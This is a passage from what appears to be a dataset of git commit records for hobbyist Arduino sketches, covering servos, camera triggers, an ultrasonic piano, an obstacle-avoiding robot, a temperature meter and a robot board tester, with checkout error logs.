temp;\n done = 0;\n }\n }\n }\n\n \/\/ throw out top and bottom 15% of samples - limit to throw out at least one from top and bottom\n bottom = max(((filterSamples * 15) \/ 100), 1);\n top = min((((filterSamples * 85) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n k = 0;\n total = 0;\n for ( j = bottom; j< top; j++){\n total += sorted[j]; \/\/ total remaining indices\n k++;\n\n }\n\n return total \/ k; \/\/ divide by number of samples\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'littleBitsController\/littleBitsController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"183dfacef08250a6e003e7434761f52a2fa33d71","subject":"added sweeper trigger","message":"added sweeper trigger\n","repos":"dgrover\/flyopticon,dgrover\/flyopticon","old_file":"sweeper_trigger\/sweeper_trigger.ino","new_file":"sweeper_trigger\/sweeper_trigger.ino","new_contents":"#include <Servo.h> \n\nint incomingByte = 0;\t \/\/ for incoming serial data\nint led = 13;\nServo myservo; \/\/ create servo object to control a servo \nint pos = 175; \/\/ variable to store the servo position \n\nvoid setup() {\n\tSerial.begin(9600);\t\/\/ opens serial port, sets data rate to 9600 bps \n}\n\nvoid loop() {\n\n\t\/\/ send data only when you receive data:\n\tif (Serial.available() > 0) {\n\t\t\/\/ read the incoming byte:\n\t\tincomingByte = Serial.read();\n if (incomingByte > 0) { \n motor();\n }\n else{\n }\n\t\t\/\/ say what you got:\n\t\tSerial.print(\"I received: \");\n\t\tSerial.println(incomingByte, DEC);\n\t}\n}\n\n\nvoid motor() \n{ \n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object \n for(pos = 168; pos > 52; pos -= 1) \/\/ goes from 52 degrees to 173 degrees \n { \/\/ in steps of 1 degrees\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos' \n delay(70); \/\/ waits 70ms for the servo to reach the position \n } \n \n for(pos = 52 ;pos<168; pos+=5) \/\/ goes from 52 degrees to 173 degrees \n { \/\/ in steps of 5 degrees\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos' \n delay(40); \/\/ waits 40ms for the servo to reach the position \n\n } \n myservo.detach();\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sweeper_trigger\/sweeper_trigger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0eb11df6994ca45f499a328f362ca5122ad32b78","subject":"hmm, that is a nice ramp","message":"hmm, that is a nice ramp\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2b4bb6931e8dc1fca547a27a1461aa4b023de001","subject":"Added arduino uno multi-pin trigger for Flea3 cameras","message":"Added arduino uno multi-pin trigger for Flea3 cameras\n","repos":"dgrover\/flyopticon,dgrover\/flyopticon","old_file":"flea3_multi_pin_trigger_uno\/flea3_multi_pin_trigger_uno.ino","new_file":"flea3_multi_pin_trigger_uno\/flea3_multi_pin_trigger_uno.ino","new_contents":"\/\/ TTL pulse to Arduino Uno pins 3,5,7\n\/\/set Port D pins 3,5,7 as OUTPUT\nvoid setup()\n{\n DDRD = B10101000;\n}\n\nvoid loop()\n{\n PORTD = B10101000; \/\/Set pins HIGH\n delayMicroseconds(3333);\n PORTD = B00000000; \/\/Set pins LOW\n delayMicroseconds(3333);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'flea3_multi_pin_trigger_uno\/flea3_multi_pin_trigger_uno.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bfbb2bde286dc1b6371c76ea8260ac1887ca7720","subject":"Create UltrasonicPiano.ino","message":"Create UltrasonicPiano.ino","repos":"OzmoOzmo\/UltrasonicPiano","old_file":"UltrasonicPiano.ino","new_file":"UltrasonicPiano.ino","new_contents":"#define HAND_MUST_MOVE_DISTANCE 200\t\/\/in uS ping time in we take as something near\n#define MAXECHOTIME 1000\t\/\/ Calculate the maximum distance in uS (no rounding).\n#define DEBOUNCEmS 500\t\t\/\/ millsec before can play a second note on that key\n#define MIN_DISTANCE 2\t\t\/\/ below this time in uS means either too close - or nothing near \n\n#define TRIGPIN 13\t\t\t\/\/ All sonics connected to one pin\n\n#define MAX_SENSOR_DELAY 500 \t\t\/\/ Maximum uS it takes for sensor to start the ping\n\n#define SONAR_NUM 9\t\t\/\/ Number of detectors\n#define SOUND_BANK_PIN 12 \/\/ Button to switch sound banks\n\n\n\/\/The Pins the sonar is attached to\nint sonar[SONAR_NUM]=\n{\n\t2, 3, 4, 5, 6, 7, 8, 9, 10\n};\n\nint result[SONAR_NUM];\nint previousHits[SONAR_NUM];\nlong lasttime[SONAR_NUM];\nint soundBank = LOW;\t\t\/\/Two sound bank choices - guitar and piano\n\n\/\/9 samples (must be wav unless you have installed the optional mp3 libraries on the edison)\n\/\/Some free samples can be got here: https:\/\/www.freesound.org\/people\/pinkyfinger\/packs\/4409\/\n\/\/Wav files need be placed into the folders on the edison (use FTP) as indicated below.\n\/\/The trailing & is important\nchar* sounds[]=\n{\n\t\"aplay \/home\/root\/piano\/00_piano-g.wav &\",\n\t\"aplay \/home\/root\/piano\/01_piano-a.wav &\",\n\t\/\/\"aplay \/home\/root\/piano\/02_piano-bb.wav &\",\n\t\"aplay \/home\/root\/piano\/03_piano-b.wav &\",\n\t\/\/\"aplay \/home\/root\/piano\/04_piano-cc.wav &\",\n\t\"aplay \/home\/root\/piano\/05_piano-c.wav &\",\n\t\"aplay \/home\/root\/piano\/06_piano-d.wav &\",\n\t\/\/\"aplay \/home\/root\/piano\/07_piano-eb.wav &\",\n\t\"aplay \/home\/root\/piano\/08_piano-e.wav &\",\n\t\"aplay \/home\/root\/piano\/09_piano-f.wav &\",\n\t\"aplay \/home\/root\/piano\/10_piano-f.wav &\",\n\t\"aplay \/home\/root\/piano\/11_piano-g.wav &\"\n};\n\n\/\/9 alternative samples\nchar* sounds2[]=\n{\n\t\"aplay \/home\/root\/guitar\/1.e.wav &\",\n\t\"aplay \/home\/root\/guitar\/2.f.wav &\",\n\t\"aplay \/home\/root\/guitar\/3.g.wav &\",\n\t\"aplay \/home\/root\/guitar\/4.a.wav &\",\n\t\"aplay \/home\/root\/guitar\/5.b.wav &\",\n\t\"aplay \/home\/root\/guitar\/6.d.wav &\",\n\t\"aplay \/home\/root\/guitar\/7.e2.wav &\",\n\t\"aplay \/home\/root\/guitar\/8.f2.wav &\",\n\t\"aplay \/home\/root\/guitar\/9.b.wav &\"\n};\n\nvoid setup() {\n\tSerial.begin(115200);\n\tSerial.println(\"Start\");\n\t\n\tfor(int n=0;n<SONAR_NUM;n++)\n\t{\/\/Out of time starting\n\t\tint ECHOPIN = sonar[n];\n\t\tpinMode(ECHOPIN, INPUT_FAST);\n\t}\n\tpinMode(TRIGPIN, OUTPUT_FAST);\n\tpinMode(12,INPUT_PULLUP);\n}\n\nvoid ping()\n{\n\tfor(int n=0;n<SONAR_NUM;n++)\n\t\tresult[n] = 0; \/\/0 for no result\n\t\n\tdigitalWrite(TRIGPIN, LOW);\n\tdelayMicroseconds(2);\t\t\t\/\/ Wait for pin to go low. (try 4 if having problems)\n\tdigitalWrite(TRIGPIN, HIGH);\t\/\/ Set trigger pin high, this tells the sensor to send out a ping.\n\tdelayMicroseconds(10);\t\t\t\/\/ Wait long enough for the sensor to realize the trigger pin is high. Sensor specs say to wait 10uS.\n\tdigitalWrite(TRIGPIN,LOW);\t\t\/\/ Set trigger pin back to low.\n\t\n\tlong timeoutTime;\n\t\n\t\/\/ wait for ping to start\n#ifdef true\n\t\/\/Easy way\n\tdelayMicroseconds(500);\t\t\/\/most detectors take about 450uS to 500uS SRF06 can take much much longer.\n#else\n\t\/\/hard way\n\t\/\/long st = micros();\n\ttimeoutTime = micros() + MAXECHOTIME + MAX_SENSOR_DELAY; \n\t\t\t\n\tfor(int n=0;n<SONAR_NUM;n++)\n\t{\n\t\tint ECHOPIN = sonar[n];\n\t\t\/\/ Previous ping hasn't finished, abort.\n\t\tif(digitalRead(ECHOPIN) == HIGH)\n\t\t\tresult[n] = -1; \/\/\"No Reply\"\n\t}\n\n\tfor(int n=0;n<SONAR_NUM;n++)\n\t{\n\t\tif (result[n]==0)\n\t\t{\n\t\t\tint ECHOPIN = sonar[n];\n\t\t\t\/\/ Wait for ping to start.\n\t\t\twhile(digitalRead(ECHOPIN) == LOW)\n\t\t\t\tif (micros() > timeoutTime)\n\t\t\t\t{\n\t\t\t\t\tresult[n] = -2;\t\t\/\/\"Too Long To Start\"\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t}\n\t}\n\t\/\/Serial.println(micros()-st);\n#endif\t\n\t\n\tlong startTime = micros();\n\ttimeoutTime = startTime + MAXECHOTIME ; \/\/ Ping started, set the time-out.\n\t\n\tboolean bExit;\n\tdo\n\t{\n\t\tbExit=true;\n\t\tfor(int n=0;n<SONAR_NUM;n++)\n\t\t{\n\t\t\tif (result[n]==0)\n\t\t\t{\n\t\t\t\tint ECHOPIN = sonar[n];\n\t\t\t\tif(digitalRead(ECHOPIN) == LOW) \/\/ ping end echo\n\t\t\t\t\tresult[n] =\t(int)((micros() - startTime)+.05); \/\/ Dont bother calc distance - ping time is enough for us.\n\n\t\t\t\telse if (micros() > timeoutTime)\n\t\t\t\t\tresult[n] = -3; \/\/ record error if we're beyond the set maximum distance.\n\t\t\t\t\n\t\t\t\tbExit=false;\n\t\t\t}\n\t\t}\n\t}while(bExit == false);\n}\n\nvoid loop() \n{\n\tping();\n\n\t\/\/All done - display\n\tfor(int n=0;n<SONAR_NUM;n++)\n\t{\n\t\tfloat dist = result[n]; \/\/in time\n\t\t\/\/Serial.print(dist);Serial.print(',');\n\t\t\n\t\tif (dist <= MIN_DISTANCE)\n\t\t{\/\/person is too close or has gone away\n\t\t\tpreviousHits[n]=dist; \/\/reset\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\tint previous = previousHits[n];\n\t\tif (abs(dist - previous) > HAND_MUST_MOVE_DISTANCE)\n\t\t{\/\/New key pressed!\n\t\t\tpreviousHits[n]=dist;\n\t\t\t\n\t\t\tlong now = millis();\n\t\t\tif ((now - lasttime[n]) > DEBOUNCEmS) \/\/debounce 333mS\n\t\t\t{\n\t\t\t\tchar* sound = soundBank == LOW? sounds[n]:sounds2[n];\n\t\t\t\tSerial.println(sound);\n\t\t\t\tsystem(sound);\n\t\t\t}\n\t\t\tlasttime[n] = now;\n\t\t}\n\t}\n\t\/\/Serial.println('.');\n\t\n\tif (digitalRead(12) == LOW)\n\t{\/\/Switch to second band - have settle time.\n\t\tsoundBank = !soundBank;\n\t\tSerial.print(soundBank);\n\t\tdelay(1000);\/\/debounce\n\t}\n\t\n\tdelay(20);\n}\n\n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'UltrasonicPiano.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4998871352aa3e8992afc2a438fa0441bb4763c8","subject":"modified","message":"modified","repos":"yamaha-webmusic\/ymf825board,yamaha-webmusic\/ymf825board","old_file":"sample1\/ymf825board_sample1\/ymf825board_sample1.ino","new_file":"sample1\/ymf825board_sample1\/ymf825board_sample1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/yamaha-webmusic\/ymf825board.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d32600ef7b234400644886d5ca2ee848d099d0df","subject":"by Martin Hespe","message":"by Martin Hespe\n\nOtto builder contribution","repos":"OttoDIY\/DIY,OttoDIY\/DIY","old_file":"OttoDIY_avoid_mhs\/OttoDIY_avoid_mhs.ino","new_file":"OttoDIY_avoid_mhs\/OttoDIY_avoid_mhs.ino","new_contents":"ut \n\/\/----------------------------------------------------------------\n\/\/-- Otto basic firmware v2 adapted from Zowi (ottodiy.com)\n\/\/-- CC BY SA\n\/\/-- 04 December 2016 - Modified by MHs 16.01.2018, US fixed\n\/\/-----------------------------------------------------------------\n\/\/-- Otto will avoid obstacles with this code!\n\/\/-----------------------------------------------------------------\n#include <Servo.h> \n#include <Oscillator.h>\n#include <US.h>\n#include <Otto.h>\nOtto Otto; \/\/This is Otto!\n\/\/---------------------------------------------------------\n\/\/-- First step: Make sure the pins for servos are in the right position\n\/*\n --------------- \n | O O |\n |---------------|\nYR 3==> | | <== YL 2 yaw left\n --------------- \n || ||\nRR 5==> ----- ------ <== RL 4 roll left\n |----- ------|\n*\/\n #define PIN_YL 2 \/\/servo[2]\n #define PIN_YR 3 \/\/servo[3]\n #define PIN_RL 4 \/\/servo[4]\n #define PIN_RR 5 \/\/servo[5]\n\n #define ECHOPIN 8 \/\/ Pin to receive echo pulse\n #define TRIGPIN 9 \/\/ Pin to send trigger pulse\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Global Variables -------------------------------------------\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Movement parameters\nint T=1000; \/\/Initial duration of movement\nint moveId=0; \/\/Number of movement\nint moveSize=15; \/\/Asociated with the height of some movements\n\/\/---------------------------------------------------------\nbool obstacleDetected = false;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Setup ------------------------------------------------------\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup(){\n Serial.begin(19200);\n \/\/Set the servo pins\n Otto.init(PIN_YL,PIN_YR,PIN_RL,PIN_RR,true, -1, 10, 8, 9);\n Otto.sing(S_connection); \/\/Otto wake up!\n Otto.home();\n delay(50);\n Otto.sing(S_happy); \/\/ a happy Otto :)\n\n pinMode(ECHOPIN, INPUT);\n pinMode(TRIGPIN, OUTPUT);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Principal Loop ---------------------------------------------\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop() {\n if(obstacleDetected){ \n Otto.sing(S_surprise); \n Otto.playGesture(OttoFretful); \n Otto.sing(S_fart3); \n Otto.walk(2,1300,-1); \n Otto.turn(2,1000,-1); \n delay(50); \n obstacleDetector(); \n } \n else{ \n Otto.walk(1,1000,1); \n obstacleDetector(); \n } \n } \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/-- Function to read distance sensor & to actualize obstacleDetected variable \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid obstacleDetector(){\n\/\/ Start Ranging\n digitalWrite(TRIGPIN, LOW);\n delayMicroseconds(2);\n digitalWrite(TRIGPIN, HIGH);\n delayMicroseconds(10);\n digitalWrite(TRIGPIN, LOW);\n\/\/ Compute distance\n float distance = pulseIn(ECHOPIN, HIGH);\n distance= distance\/58;\n Serial.print(distance);\n Serial.println(\"cm\");\n if(distance<15){\n obstacleDetected = true;\n Serial.println (\"Obstacle Detected! Avoid collision\");\n }else{\n obstacleDetected = false;\n Serial.println (\"No Obstacle detected! - Keep on walking\");\n }\n \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OttoDIY_avoid_mhs\/OttoDIY_avoid_mhs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ff3a195c5dc11d3770052c8ce2f09d22bfbca987","subject":"LM35DT temperature meter","message":"LM35DT temperature meter\n\nReads temperature from a LM35, display output on leds and write the value it via serial\n","repos":"tonejito\/arduino","old_file":"TemperatureSensor\/TemperatureSensor.ino","new_file":"TemperatureSensor\/TemperatureSensor.ino","new_contents":"\/*\n LM35DT temperature meter\n Reads temperature from a LM35DT, display output on leds and write the value it via serial\n \n The circuit:\n + LM35DT - OUTPUT on A6\n + LM35DT - GND on A7 (bridged to common GND)\n + LM35DT - INPUT on +5V\n + Green LED (+) on D10\n + Yellow LED (+) on D11\n + Red LED (+) on D12\n + All leds connected to GND via a 330 ohm resistor\n * Arduino LED pin 13 is used for heartbeat\n\n Created by Andres Hernandez - tonejito\n January 2017\n \n This code is licensed under the BSD license\n \n *\/\n\nint sensorGND = A7; \/\/ LM35 GND\nint sensorPin = A6; \/\/ LM35 OUT\nint L = 13; \/\/ Arduino L PIN\nint R = 12; \/\/ Red LED\nint Y = 11; \/\/ Yellow LED\nint G = 10; \/\/ Green LED\n\nfloat mv = 0.0; \/\/ milliVolts read\nfloat C = 0.0; \/\/ Centigrade degrees\n\nvoid setup()\n{\n \/\/ initialize serial communication:\n Serial.begin(115200);\n \/\/ Set digital pins as output\n pinMode(sensorGND, OUTPUT);\n pinMode(L, OUTPUT);\n pinMode(R, OUTPUT);\n pinMode(Y, OUTPUT);\n pinMode(G, OUTPUT);\n}\n\nvoid loop()\n{\n \/\/ Lock the sensor GND pin to ground\n digitalWrite(sensorGND, LOW);\n \n \/\/ Read data from the sensor\n mv = ( analogRead(sensorPin) \/ 1024.0 ) * 5000;\n C = mv \/ 10;\n\n \/\/ Write the temperature via serial\n Serial.print(\"C: \");\n Serial.println(C);\n\n \/\/ Give heartbeat feedback\n digitalWrite(L, HIGH);\n delay(10);\n digitalWrite(L, LOW);\n delay(990);\n\n \/\/ Display output on the leds\n if (C > 25.0) \/\/ Normal\n digitalWrite(G, HIGH);\n else\n digitalWrite(G, LOW);\n \n if (C > 27.5) \/\/ Warm\n digitalWrite(Y, HIGH);\n else\n digitalWrite(Y, LOW);\n \n if (C > 30.0) \/\/ Hot\n digitalWrite(R, HIGH);\n else\n digitalWrite(R, LOW);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TemperatureSensor\/TemperatureSensor.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"e4f4dbd7d5d18a33a5b9d78f9599038371e1846b","subject":"clean the code","message":"clean the code\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/msensors\/wmys03\/wmys03.ino","new_file":"modules\/msensors\/wmys03\/wmys03.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e81de6741bcbdb0852b2aad2e6fc5f620895bbad","subject":"Connected LED!","message":"Connected LED!\n","repos":"yaneexy\/Spark-Core-Examples,yaneexy\/Spark-Core-Examples","old_file":"3.Connect LED.ino","new_file":"3.Connect LED.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '3.Connect' did not match any file(s) known to git\nerror: pathspec 'LED.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8b401ee1af39820b2a9f348b15cd2dea0d0620bc","subject":"Fixed some typos","message":"Fixed some typos\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/unowifi\/unowifi.ino","new_file":"unit tests\/unowifi\/unowifi.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/unowifi\/unowifi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9012b30418453634eaf13cd356fd32e6770af509","subject":"Added a board tester to test new PCB's","message":"Added a board tester to test new PCB's\n\n","repos":"Rodinga\/FH_Tbot,ideaHex\/FH_Tbot,Rodinga\/FH_Tbot,Rodinga\/FH_Tbot,ideaHex\/FH_Tbot,TildenG\/FH_Tbot,TildenG\/FH_Tbot,Rodinga\/FH_Tbot,ideaHex\/FH_Tbot,TildenG\/FH_Tbot,TildenG\/FH_Tbot,ideaHex\/FH_Tbot","old_file":"FH_Tbot_Board_Tester.ino","new_file":"FH_Tbot_Board_Tester.ino","new_contents":"\/*\nCopyright 2017, Tilden Groves.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n#pragma GCC optimize(\"-O2\")\n#include <DNSServer.h>\n#include <ESP8266WiFi.h>\n#include \"RCW0006Ping.h\"\n#include \"botVoltage.h\"\n#include <NeoPixelBus.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ WiFi Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nconst char *password = \"12345678\"; \/\/ This is the Wifi Password (only numbers and letters, not . , |)\nString AP_Name = \"FHTbot\"; \/\/ This is the Wifi Name(SSID), some numbers will be added for clarity (mac address)\nbool enableCompatibilityMode = false; \/\/ turn on compatibility mode for older devices, spacifically sets no encryption and 11B wifi standard\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Pin Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ D4 is used for neoPixelBus (TXD1)\n\/\/ D0 is used to trigger ping\n\/\/ D8 is used for echo of ping\n#define D9 3 \/\/ D9 & D10 aren't defined so define them here\n#define D10 1\nconst int motorLeftA = D6;\nconst int motorLeftB = D5;\nconst int motorRightA = D2;\nconst int motorRightB = D3;\nconst int motorLeftEncoder = D7;\nconst int motorRightEncoder = D1;\nconst int leftBumper = D9;\nconst int rightBumper = D10;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Remaining Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvolatile bool leftInterruptTriggered = false;\nvolatile bool rightInterruptTriggered = false;\nNeoPixelBus<NeoGrbFeature, NeoEsp8266Uart800KbpsMethod> strip(6, D4);\nWiFiServer server(80);\nDNSServer dnsServer;\n\nvoid motorLeftEncoderInterruptHandler(void);\nvoid motorRightEncoderInterruptHandler(void);\nvoid setColor(RgbColor);\nvoid setupWiFi(void);\n\nvoid setup() {\n\tSerial.begin(2000000);\n\tsetupWiFi();\n\tpingSetup();\n\tSerial.println(\"\\r\\n\");\n\tSerial.println(\"Board tester installed and running\");\n\tSerial.println(\"Plug WeMos into PCB and power with batteries\");\n\tSerial.println(\"Each function will change the LED colors\");\n\tSerial.println(\"Encoders will also run motors if attached\");\n\tdelay(100);\n\tSerial.end(); \/\/ disable serial interface\n\tpinMode(leftBumper,INPUT_PULLUP);\n\tpinMode(rightBumper,INPUT_PULLUP);\n\tpinMode(motorLeftA,OUTPUT);\n\tpinMode(motorLeftB,OUTPUT);\n\tpinMode(motorRightA,OUTPUT);\n\tpinMode(motorRightB,OUTPUT);\n\tstrip.Begin();\n\tstrip.Show();\n\tattachInterrupt(motorLeftEncoder, motorLeftEncoderInterruptHandler , CHANGE);\n\tattachInterrupt(motorRightEncoder, motorRightEncoderInterruptHandler , CHANGE);\n\tdelay(100);\n\tsetColor(RgbColor(20, 30, 10));\n\tdelay(2000);\n\tsetColor(RgbColor(0, 0, 0));\n\tresetVoltageFilter();\n\tupdateVoltage();\n float voltage = getCurrentVoltage();\n\tif (voltage<4 || voltage>7){\n\t\tsetColor(RgbColor(255, 30, 10));\n\t\tdelay(6000);\n\t\tsetColor(RgbColor(0, 0, 0));\n\t}\n}\n\nvoid loop() {\n\tgetDistance(); \/\/ ping pulse\/update function must be called to ping\n\tint distance = getMedian();\n\tif (distance < 100 && distance > 0){\n\t\tsetColor(RgbColor(80, 0, 80));\n\t\tdelay(55);\n\t\tsetColor(RgbColor(0, 0, 0));\n }\n\tif(digitalRead(leftBumper) == LOW || digitalRead(rightBumper) == LOW){\n\t\tsetColor(RgbColor(0, 80, 80));\n\t\tdelay(500);\n\t\tsetColor(RgbColor(0, 0, 0));\n }\n \tif (rightInterruptTriggered){\n\t\tsetColor(RgbColor(0, 80, 0));\n\t\tdigitalWrite(motorRightA,LOW);\n\t\tdigitalWrite(motorRightB,HIGH);\n\t\tdelay(1000);\n\t\tdigitalWrite(motorRightA,LOW);\n\t\tdigitalWrite(motorRightB,LOW);\n\t\tsetColor(RgbColor(0, 0, 0));\n\t\tdelay(1000);\n\t\trightInterruptTriggered = false;\n\t}\n\tif (leftInterruptTriggered){\n\t\tsetColor(RgbColor(80, 0, 0));\n\t\tdigitalWrite(motorLeftA,LOW);\n\t\tdigitalWrite(motorLeftB,HIGH);\n\t\tdelay(1000);\n\t\tdigitalWrite(motorLeftA,LOW);\n\t\tdigitalWrite(motorLeftB,LOW);\n\t\tsetColor(RgbColor(0, 0, 0));\n\t\tdelay(1000);\n\t\tleftInterruptTriggered = false;\n\t}\n}\n\nvoid motorLeftEncoderInterruptHandler(){\n\t\tleftInterruptTriggered = true;\n}\nvoid motorRightEncoderInterruptHandler(){\n\t\trightInterruptTriggered = true;\n}\n\nvoid setColor(RgbColor color){\n strip.SetPixelColor(0, color);\n strip.SetPixelColor(1, color);\n strip.SetPixelColor(2, color);\n strip.SetPixelColor(3, color);\n strip.SetPixelColor(4, color);\n strip.SetPixelColor(5, color);\n strip.Show();\n}\n\nvoid setupWiFi(){\n WiFi.mode(WIFI_AP);\n \/\/ Create a unique name by appending the MAC address to the AP Name\n AP_Name = AP_Name + \" \" + WiFi.softAPmacAddress();\n char AP_NameChar[AP_Name.length() + 1];\n AP_Name.toCharArray(AP_NameChar, AP_Name.length() + 1);\n \/\/ setup AP, start DNS server, start Web server\n int channel = random(1, 13 + 1); \/\/ have to add 1 or will be 1 - 12\n const byte DNS_PORT = 53;\n IPAddress subnet(255, 255, 255, 0);\n IPAddress apIP(192, 168, 1, 1);\n WiFi.softAPConfig(apIP, apIP, subnet);\n if (enableCompatibilityMode) {\n wifi_set_phy_mode(PHY_MODE_11B); \/\/ Note: ESP8266 soft-AP only support bg.\n const char *pw = \"\";\n WiFi.softAP(AP_NameChar, pw, channel, 0);\n } else {\n wifi_set_phy_mode(PHY_MODE_11N);\n WiFi.softAP(AP_NameChar, password, channel, 0);\n }\n dnsServer.setErrorReplyCode(DNSReplyCode::NoError);\n dnsServer.start(DNS_PORT, \"*\", apIP); \/\/ default FHTbot.com \/\/must use '.com,\n \/\/ .org etc..' and cant use '@ or _\n \/\/ etc...' ! . Use \"*\" to divert all\n \/\/ **VALID** names\n server.begin();\n server.setNoDelay(true);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'FH_Tbot_Board_Tester.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"51c108d74d786714360e5e2d3d826f70399fb3d2","subject":"adding example \/ testing arduino sketch","message":"adding example \/ testing arduino sketch\n","repos":"mcous\/TLC5940,mcous\/TLC5940","old_file":"examples\/fadeInAndOut\/fadeInAndOut.ino","new_file":"examples\/fadeInAndOut\/fadeInAndOut.ino","new_contents":"\/\/ example \/ testing script for TLC5940 library\n\n\/\/ pin defines\n\/\/ greyscale clock - D2\n#define 